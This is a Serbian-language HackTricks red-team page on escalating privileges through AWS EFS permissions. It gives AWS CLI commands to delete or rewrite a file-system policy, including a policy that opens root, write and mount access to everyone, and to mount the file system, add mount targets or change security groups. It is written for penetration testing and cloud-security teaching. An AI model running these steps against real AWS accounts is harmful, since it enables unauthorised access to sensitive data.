AWS - EFS Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

EFS

Više informacija o EFS-u možete pronaći u:

AWS - EFS Enum

Zapamtite da biste montirali EFS, morate biti u podmreži gde je EFS izložen i imati pristup njemu (sigurnosne grupe). Ako se to dešava, prema podrazumevanim podešavanjima uvek ćete moći da ga montirate, međutim, ako je zaštićen IAM politikama, morate imati dodatne dozvole koje su ovde navedene da biste mu pristupili.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Sa bilo kojom od ovih dozvola, napadač može promeniti politiku fajl sistema kako bi vam dao pristup, ili jednostavno je obrisati kako bi se dodelio podrazumevani pristup.

Da biste obrisali politiku:

aws efs delete-file-system-policy \
--file-system-id <value>

Da biste to promenili:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Sa ovlašćenjem, napadač će moći da montira EFS. Ako dozvola za pisanje nije podrazumevano dodeljena svima koji mogu da montiraju EFS, on će imati samo pristup za čitanje.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Dodatne dozvole elasticfilesystem:ClientRootAccess i elasticfilesystem:ClientWrite mogu se koristiti za pisanje unutar fajl sistema nakon što je montiran i za pristup tom fajl sistemu kao root.

Potencijalni uticaj: Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu.

elasticfilesystem:CreateMountTarget

Ako napadač se nalazi unutar podmreže gde ne postoji mount target za EFS, on jednostavno može kreirati jedan u svojoj podmreži sa ovom privilegijom:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potencijalni uticaj: Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu.

elasticfilesystem:ModifyMountTargetSecurityGroups

U scenariju gde napadač otkrije da EFS ima montažnu tačku u svojoj podmreži, ali nijedna sigurnosna grupa ne dozvoljava saobraćaj, on jednostavno može promeniti to modifikujući odabrane sigurnosne grupe:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potencijalni uticaj: Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated